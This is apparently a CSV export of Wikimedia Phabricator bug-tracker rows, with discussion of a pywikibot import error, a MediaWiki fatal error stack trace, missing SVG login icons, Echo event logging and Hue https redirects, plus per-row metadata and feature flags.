+400052,AttributeError: 'HttpRequest' object has no attribute '_join',"Okay that is indeed then strange behavior, but I'm not sure what “SVN Update” actually does. Maybe it doesn't change files which are currently write protected or so. But even then why should threadedhttp.py and site.py be write protected.",,,1421324878,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-fj2lt64pw4hakqjbxpfj,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1
+399429,AttributeError: 'HttpRequest' object has no attribute '_join',">>! In T86621#975389, @XZise wrote:
+> I know a clear installation worked, but that looked like you didn't update the `pywikibot/family.py` file.
+
+I made ""SVN Update"" as usually. ",,,1421237390,,PHID-USER-wwnv7nzuscfuc2xfjwbq,False,,,PHID-TASK-fj2lt64pw4hakqjbxpfj,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,0,1,0,0,0,0,1
+399407,AttributeError: 'HttpRequest' object has no attribute '_join',"And the first traceback indicates that `pywikibot.comms.threadedhttp` wasn't updated, because I'm pretty certain that tests would've failed immediately if the first bug were actually in there. Maybe on a previous update you accidentally moved the contents into the wrong directory and it only updated half? Although it looks like `pywikibot.comms.http` got updated and that is in the same directory as `threadedhttp`. The second one is also related to a `http` module which is newer than other files, so maybe it was the other way around that only `http` was updated.",,,1421233647,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-fj2lt64pw4hakqjbxpfj,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,0
+399371,AttributeError: 'HttpRequest' object has no attribute '_join',"I know a clear installation worked, but that looked like you didn't update the `pywikibot/family.py` file.",,,1421227013,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-fj2lt64pw4hakqjbxpfj,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1
+399349,AttributeError: 'HttpRequest' object has no attribute '_join',clear isntalation of bot solved it.,,,1421220620,,PHID-USER-wwnv7nzuscfuc2xfjwbq,False,,,PHID-TASK-fj2lt64pw4hakqjbxpfj,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+86601,Check for forceHTTPS=$somethingOtherThan1 and ignore it,">>! In T72145#730119, @csteipp wrote:
+> On the MediaWiki side, we check for the presence of a forceHTTPS cookie in MediaWiki.php, so when safari hands us back the cookie forceHTTPS=deleted, it triggers the redirect to https.
+> 
+> The check could ensure that the cookie value isn't ""deleted"", since we set it to 1 when we want users to stay in https.
+
+This is still annoying people :)",Medium,50.0,1421102931,,PHID-USER-z3l4i7dl52qicxtephy5,False,,False,PHID-TASK-b5ivx6d5t65oqwmvwg66,task_description,open,True,c3,1,True,False,,-25,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1
+86398,"Fatal Error: Call to a member function disable() on a non-object (wfHttpError should check, if wgOut is an instance of OutputPage)","wfHttpError assumes, that $wgOut is an instance of OutputPage and runs ->disable() on it:
+https://github.com/wikimedia/mediawiki/blob/74faccfa264fca219e08ae9cfb60a355ec2fac39/includes/GlobalFunctions.php#L2078
+
+I had some fatal errors in my error_log of my production server, so i tracked the problem down, and it seems, that wfHttpError can be called, before wgOut is set, here a stack trace (because i can't reproduce this error myself, because it seems to occur only on api calls and only specific times (always, when the mysql user exceeded the max_user_connection limit, which is another problem. So i had to workaround to get a stack trace, because it's only a webspace hoster, no possibility to enable anything to log fatal error stack traces):
+
+```
+#0 and #1 are catching functions (called when wgOut isn't an instance of OutputPage in wfHttpError) to log the stack trace
+#2 {wikiroot}/includes/exception/MWException.php(228): wfHttpError(500, 'Internal Server Error', 'DB connection error
+')
+#3 {wikiroot}/includes/exception/MWExceptionHandler.php(59): MWException->report()
+#4 {wikiroot}/includes/exception/MWExceptionHandler.php(159): MWExceptionHandler->report(DBConnectionError::__set_state(array(
+   'error' => 'User \'{user}\' has exceeded the \'max_user_connections\' resource (current value: 15) (127.0.0.1)',
+   'db' => 
+  DatabaseMysqli::__set_state(array(
+     'lastKnownSlavePos' => NULL,
+     'mFakeSlaveLag' => NULL,
+     'mFakeMaster' => false,
+     'serverVersion' => NULL,
+     'mLastQuery' => '',
+     'mDoneWrites' => false,
+     'mPHPError' => 'mysqli::real_connect(): (42000/1226): User \'{user}\' has exceeded the \'max_user_connections\' resource (current value: 15)',
+     'mServer' => '127.0.0.1',
+     'mUser' => '{user}',
+     'mPassword' => '{pass}',
+     'mDBname' => '{db}',
+     'mConn' => false,
+     'mOpened' => false,
+     'mTrxIdleCallbacks' => 
+    array (
+    ),
+     'mTrxPreCommitCallbacks' => 
+    array (
+    ),
+     'mTablePrefix' => '',
+     'mSchema' => NULL,
+     'mFlags' => 24,
+     'mForeign' => false,
+     'mErrorCount' => 0,
+     'mLBInfo' => 
+    array (
+      'host' => '127.0.0.1',
+      'user' => '{user}',
+      'password' => '{pass}',
+      'dbname' => '{db}',
+      'type' => 'mysql',
+      'load' => 1,
+      'flags' => 16,
+      'serverIndex' => 0,
+    ),
+     'mDefaultBigSelects' => NULL,
+     'mSchemaVars' => false,
+     'preparedArgs' => NULL,
+     'htmlErrors' => '',
+     'delimiter' => ';',
+     'mTrxLevel' => 0,
+     'mTrxShortId' => '',
+     'mTrxTimestamp' => NULL,
+     'mTrxFname' => NULL,
+     'mTrxDoneWrites' => false,
+     'mTrxAutomatic' => false,
+     'mTrxAtomicLevels' => 
+    SplStack::__set_state(array(
+    )),
+     'mTrxAutomaticAtomic' => false,
+     'fileHandle' => NULL,
+     'allViews' => NULL,
+  )),
+   'message' => 'DB connection error: User \'{user}\' has exceeded the \'max_user_connections\' resource (current value: 15) (127.0.0.1)',
+   'string' => '',
+   'code' => 0,
+   'file' => '{wikiroot}/includes/db/Database.php',
+   'line' => 1016,
+   'trace' => 
+  array (
+    0 => 
+    array (
+      'file' => '{wikiroot}/includes/db/LoadBalancer.php',
+      'line' => 783,
+      'function' => 'reportConnectionError',
+      'class' => 'DatabaseBase',
+      'type' => '->',
+      'args' => 
+      array (
+        0 => 'Unknown error (127.0.0.1)',
+      ),
+    ),
+    1 => 
+    array (
+      'file' => '{wikiroot}/includes/db/LoadBalancer.php',
+      'line' => 494,
+      'function' => 'reportConnectionError',
+      'class' => 'LoadBalancer',
+      'type' => '->',
+      'args' => 
+      array (
+      ),
+    ),
+    2 => 
+    array (
+      'file' => '{wikiroot}/includes/GlobalFunctions.php',
+      'line' => 3567,
+      'function' => 'getConnection',
+      'class' => 'LoadBalancer',
+      'type' => '->',
+      'args' => 
+      array (
+        0 => -1,
+        1 => 
+        array (
+        ),
+        2 => false,
+      ),
+    ),
+    3 => 
+    array (
+      'file' => '{wikiroot}/includes/cache/LocalisationCache.php',
+      'line' => 1175,
+      'function' => 'wfGetDB',
+      'args' => 
+      array (
+        0 => -1,
+      ),
+    ),
+    4 => 
+    array (
+      'file' => '{wikiroot}/includes/cache/LocalisationCache.php',
+      'line' => 405,
+      'function' => 'get',
+      'class' => 'LCStoreDB',
+      'type' => '->',
+      'args' => 
+      array (
+        0 => 'de',
+        1 => 'deps',
+      ),
+    ),
+    5 => 
+    array (
+      'file' => '{wikiroot}/includes/cache/LocalisationCache.php',
+      'line' => 451,
+      'function' => 'isExpired',
+      'class' => 'LocalisationCache',
+      'type' => '->',
+      'args' => 
+      array (
+        0 => 'de',
+      ),
+    ),
+    6 => 
+    array (
+      'file' => '{wikiroot}/includes/cache/LocalisationCache.php',
+      'line' => 327,
+      'function' => 'initLanguage',
+      'class' => 'LocalisationCache',
+      'type' => '->',
+      'args' => 
+      array (
+        0 => 'de',
+      ),
+    ),
+    7 => 
+    array (
+      'file' => '{wikiroot}/includes/cache/LocalisationCache.php',
+      'line' => 261,
+      'function' => 'loadItem',
+      'class' => 'LocalisationCache',
+      'type' => '->',
+      'args' => 
+      array (
+        0 => 'de',
+        1 => 'fallback',
+      ),
+    ),
+    8 => 
+    array (
+      'file' => '{wikiroot}/languages/Language.php',
+      'line' => 4320,
+      'function' => 'getItem',
+      'class' => 'LocalisationCache',
+      'type' => '->',
+      'args' => 
+      array (
+        0 => 'de',
+        1 => 'fallback',
+      ),
+    ),
+    9 => 
+    array (
+      'file' => '{wikiroot}/languages/Language.php',
+      'line' => 208,
+      'function' => 'getFallbacksFor',
+      'class' => 'Language',
+      'type' => '::',
+      'args' => 
+      array (
+        0 => 'de',
+      ),
+    ),
+    10 => 
+    array (
+      'file' => '{wikiroot}/languages/Language.php',
+      'line' => 167,
+      'function' => 'newFromCode',
+      'class' => 'Language',
+      'type' => '::',
+      'args' => 
+      array (
+        0 => 'de',
+      ),
+    ),
+    11 => 
+    array (
+      'file' => '{wikiroot}/includes/Setup.php',
+      'line' => 608,
+      'function' => 'factory',
+      'class' => 'Language',
+      'type' => '::',
+      'args' => 
+      array (
+        0 => 'de',
+      ),
+    ),
+    12 => 
+    array (
+      'file' => '{wikiroot}/includes/WebStart.php',
+      'line' => 121,
+      'args' => 
+      array (
+        0 => '{wikiroot}/includes/Setup.php',
+      ),
+      'function' => 'require_once',
+    ),
+    13 => 
+    array (
+      'file' => '{wikiroot}/api.php',
+      'line' => 43,
+      'args' => 
+      array (
+        0 => '{wikiroot}/includes/WebStart.php',
+      ),
+      'function' => 'require',
+    ),
+  ),
+   'previous' => NULL,
+)))
+```
+
+Called URL. /api.php?hidebots=1&amp;days=7&amp;limit=50&amp;action=feedrecentchanges&amp;feedformat=atom
+
+In Setup.php, wgContLang is set ([[ https://github.com/wikimedia/mediawiki/blob/74faccfa264fca219e08ae9cfb60a355ec2fac39/includes/Setup.php#L608 | L608 ]]) before wgOut is set ([[ https://github.com/wikimedia/mediawiki/blob/74faccfa264fca219e08ae9cfb60a355ec2fac39/includes/Setup.php#L628 | L628 ]]), which results in Fatal errors in some special cases.",Medium,50.0,1420859904,1421122479.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-4jasfqgbhcgn3w3vc2le,task_description,resolved,True,c3,1,True,True,True,-25,True,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1,0,0,1,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+398603,"Fatal Error: Call to a member function disable() on a non-object (wfHttpError should check, if wgOut is an instance of OutputPage)","Change 184486 merged by jenkins-bot:
+Don't call $wgOut->disable() from wfHttpError if $wgOut isn't set up yet
+
+[[https://gerrit.wikimedia.org/r/184486]]",,,1421103743,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4jasfqgbhcgn3w3vc2le,task_subcomment,,True,c3,1,False,,,-25,True,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+398554,"Fatal Error: Call to a member function disable() on a non-object (wfHttpError should check, if wgOut is an instance of OutputPage)","Change 184486 had a related patch set uploaded (by Anomie):
+Don't call $wgOut->disable() from wfHttpError if $wgOut isn't set up yet
+
+[[https://gerrit.wikimedia.org/r/184486]]
+
+#patch-for-review",,,1421099442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4jasfqgbhcgn3w3vc2le,task_subcomment,,True,c3,1,False,,,-25,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+86225,Graphics on the login and create account forms are not SVG,"Graphics on the login and create account forms are not SVG. And that's terrible.
+
+There are four large-ish drawings and one tiny icons in `resources/src/mediawiki.special/images` that are used in login form or account creation form.",Medium,50.0,1420746433,,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-yhbcve5g2wopseezdanf,task_description,open,True,c3,1,True,False,,-25,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+418077,Graphics on the login and create account forms are not SVG,"Thanks, @Pginer-WMF!
+
+It looks like edits-icon.svg matches icons-edit.png, and pages-icon.svg matches icon-pages.png.
+
+contributors-icon.svg probably changed during the design process.
+
+The ones we're still looking for are:
+
+* https://github.com/wikimedia/mediawiki/blob/9e7e9b76bdf504f0867e2239ff84efc322eb1298/resources/src/mediawiki.special/images/glyph-people-large.png
+* https://github.com/wikimedia/mediawiki/blob/9e7e9b76bdf504f0867e2239ff84efc322eb1298/resources/src/mediawiki.special/images/icon-lock.png (just a lock, we have another in SVG at https://www.mediawiki.org/wiki/File:Locked_icon.svg)
+* https://github.com/wikimedia/mediawiki/blob/9e7e9b76bdf504f0867e2239ff84efc322eb1298/resources/src/mediawiki.special/images/icon-contributors.png (this is the one that probably changed from the one you provided).",,,1424995825,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0
+418076,Graphics on the login and create account forms are not SVG,"Thanks, @Pginer-WMF!
+
+It looks like edits-icon.svg matches icons-edit.png, and pages-icon.svg matches icon-pages.png.
+
+contributors-icon.svg probably changed during the design process.
+
+The ones we're still looking for are:
+
+* https://github.com/wikimedia/mediawiki/blob/master/resources/src/mediawiki.special/images/glyph-people-large.png
+* https://github.com/wikimedia/mediawiki/blob/master/resources/src/mediawiki.special/images/icon-lock.png (just a lock, we have another in SVG at https://www.mediawiki.org/wiki/File:Locked_icon.svg)
+* https://github.com/wikimedia/mediawiki/blob/master/resources/src/mediawiki.special/images/icon-contributors.png (this is the one that probably changed from the one you provided).",,,1424995756,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+417585,Graphics on the login and create account forms are not SVG,"I have found [[ https://www.dropbox.com/s/oz1cjgfqxmhsxce/Account-Creation-Mockup.psd?dl=0 | the following mockup ]] in the design folder. I extracted the three icons that appear in the mockup as SVG:
+
+{F47553}
+
+{F47554}
+
+{F47555}
+
+If those are not the icons, please provide a screenshot with the icons you are looking for, and I'll try to find them.",,,1424949860,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+399877,Graphics on the login and create account forms are not SVG,"Munaf was kind enough to reply.  He said the vector versions were originally in a PSD, but he couldn't find it.  He mentioned that Steven Walling (also no longer a WMF employee), @HowieF  or @Pginer-WMF might have them.  He also said they might be on Google Drive.
+
+P.S. Munaf says hi. :)",,,1421283396,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,1,0,1,0,0
+399326,Graphics on the login and create account forms are not SVG,"I'm pretty sure they were designed by Munaf Assaf.  He was my teammate on E3 when we were working on this project.  See https://gerrit.wikimedia.org/r/#/c/30637/ .
+
+He no longer works here, but I've emailed him just in case he still has them and is able to dig them up.",,,1421210577,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,1,0,0
+399325,Graphics on the login and create account forms are not SVG,"I'm pretty sure they were designed by Munaf Assaf.  He was my teammate on E3 when we were working on this project.  See https://gerrit.wikimedia.org/r/#/c/30637/ .
+
+He no longer works here, but I'll email him just in case he still has them and is able to dig them up.",,,1421210565,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,1,0,0
+396933,Graphics on the login and create account forms are not SVG,"@SPage, @Mattflaschen, do you remember who created these, and can you hunt them down for the original vector files?",,,1420746586,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,1,0,0,0,0
+85968,logInteraction won't reliably work on links due to use of mw.loader.using,"Given the following code:
+
+```
+$wrapper
+	.click( function() {
+		// Log the clickthrough
+		mw.echo.logInteraction( 'notification-link-click', 'flyout', +data.id, data.type );
+	} );
+```
+```
+		logInteraction: function ( action, context, eventId, eventType, mobile ) {
+			/* .. */
+			mw.loader.using( 'ext.eventLogging', function() {
+				mw.eventLog.logEvent( 'EchoInteraction', myEvt );
+			} );
+		},
+```
+
+While `eventLog.logEvent` is able to asynchronously send a message (using synchronous XHR or sendBeacon), because that method itself is asynchronously loaded via `mw.loader.using`, the event will not be logged on links because the script execution is terminated when the browser navigates away.",Medium,50.0,1420584247,1554175795.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-exfxdv5aauliyjbt6hcj,task_description,resolved,True,c3,1,True,True,False,-26,True,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+1255746,logInteraction won't reliably work on links due to use of mw.loader.using,"Uses mw.track() now which removed use of `mw.loader.using` intermediary step, ref T187207.
+
+<https://gerrit.wikimedia.org/g/mediawiki/extensions/Echo/+/2c128578ca5a3230c451a3e24e7819681326e517/modules/logger/mw.echo.Logger.js#110>",,,1554175784,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-exfxdv5aauliyjbt6hcj,task_subcomment,,True,c3,3,True,,,195,True,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+396316,logInteraction won't reliably work on links due to use of mw.loader.using,">>! In T85968#959936, @Krinkle wrote:
+>>>! In T85968#958383, @Mattflaschen wrote:
+>> I think the report is correct, but EventLogging does not use XHR (synchronous or otherwise).  The two underlying methods right now are an image (img src) and sendBeacon.
+> 
+> sendBeacon is synchronous from its API surface. This is by design and for this very reason. The request is deferred to another thread by the browser. Thus not subject to script termination. 
+
+Correct.  I said it did not use synchronous XMLHttpRequest (XHR) (in fact, it doesn't use XHR at all), not that it didn't use any synchronous methods.",,,1420657203,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-exfxdv5aauliyjbt6hcj,task_subcomment,,True,c3,1,True,,,-26,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+396224,logInteraction won't reliably work on links due to use of mw.loader.using,">>! In T85968#958383, @Mattflaschen wrote:
+> I think the report is correct, but EventLogging does not use XHR (synchronous or otherwise).  The two underlying methods right now are an image (img src) and sendBeacon.
+
+sendBeacon is synchronous from its API surface. This is by design and for this very reason. The request is deferred to another thread by the browser. Thus not subject to script termination. ",,,1420648898,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-exfxdv5aauliyjbt6hcj,task_subcomment,,True,c3,1,True,,,-26,True,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,1
+395936,logInteraction won't reliably work on links due to use of mw.loader.using,"I think the report is correct, but EventLogging does not use XHR (synchronous or otherwise).  The two underlying methods right now are an image (img src) and sendBeacon.",,,1420584608,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-exfxdv5aauliyjbt6hcj,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+85834,Force Hue https redirects.,Set secure_proxy_ssl_header=true for Hue after CDH upgrade.  This will make hue redirect to https:// urls properly.,Medium,50.0,1420483143,1424730418.0,PHID-USER-tafngdco2cilcyr7qhhg,False,PHID-USER-tafngdco2cilcyr7qhhg,False,PHID-TASK-qbshbehein52p2zqz2n5,task_description,resolved,True,c3,1,True,True,True,-26,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+416166,Force Hue https redirects.,"Change 191911 abandoned by Ottomata:
+Create apache site define for forcing https and doing transparent reverse proxy, use this for hue
+
+Reason:
+Abandoned in favor of:
+
+https://gerrit.wikimedia.org/r/#/c/191911/
+https://gerrit.wikimedia.org/r/#/c/192463/
+
+[[https://gerrit.wikimedia.org/r/191911]]",,,1424729948,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qbshbehein52p2zqz2n5,task_subcomment,,True,c3,1,False,,,-19,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+416152,Force Hue https redirects.,"Change 192389 merged by Ottomata:
+Redirect to https for hue if not coming via https proxy
+
+[[https://gerrit.wikimedia.org/r/192389]]",,,1424729300,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qbshbehein52p2zqz2n5,task_subcomment,,True,c3,1,False,,,-19,True,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+416033,Force Hue https redirects.,"Change 192389 had a related patch set uploaded (by Ottomata):
+Redirect to https for hue if not coming via https proxy
+
+[[https://gerrit.wikimedia.org/r/192389]]
+
+#patch-for-review",,,1424723550,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qbshbehein52p2zqz2n5,task_subcomment,,True,c3,1,False,,,-19,True,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+414882,Force Hue https redirects.,"Change 191911 had a related patch set uploaded (by Ottomata):
+Create apache site template for forcing https and doing transparent reverse proxy, use this for hue
+
+[[https://gerrit.wikimedia.org/r/191911]]
+
